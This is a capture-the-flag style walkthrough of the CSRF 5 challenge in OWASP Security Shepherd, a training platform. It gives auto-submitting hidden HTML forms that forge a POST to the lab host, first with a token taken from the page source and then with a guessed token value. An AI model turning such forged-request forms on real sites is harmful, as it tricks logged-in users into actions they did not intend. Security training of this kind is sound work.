OWASP Security Shepherd Project - CSRF 5 (CSRF Challenge)

Challenge

Solution

    This challenge is once again very similar to challenge 4 and we could try to find our csrfToken by viewing the source code as challenge 3.


    It seems that the csrfToken for current user is 15918627334701384170870175948653267230.
That makes our form to be as the followings:
<form name="evilForm" action="https://192.168.1.5/user/csrfchallengefive/plusplus" method="POST">
    <input type="hidden" name="userId" value="637e8d2e65542fe82fe6da3b0356bc0865b0b791" />
    <input type="hidden" name="csrfToken" value="15918627334701384170870175948653267230"/>
    <input type="submit"/>
</form>
<script> document.evilForm.submit(); </script>

    Fire the HTTP server & input the URL immediately. That's see what we got!
    We will get the following information when we connect to the URL with current user login.


    Let's change our token to 1! That is:
<form name="evilForm" action="https://192.168.1.5/user/csrfchallengefive/plusplus" method="POST">
    <input type="hidden" name="userId" value="637e8d2e65542fe82fe6da3b0356bc0865b0b791" />
    <input type="hidden" name="csrfToken" value="1"/>
    <input type="submit"/>
</form>
<script> document.evilForm.submit(); </script>




    With current user login, we have the following:

    Now, login as another user to see if we could pass the challenge.


    Well, the csrfToken is changing... By trying this several times, we will notice that the csrfToken changes periodically from 0 to 2.


    As a result, we would need to wait for other users to access this webpage several times and once the csrfToken is matched, we could pass the challenge.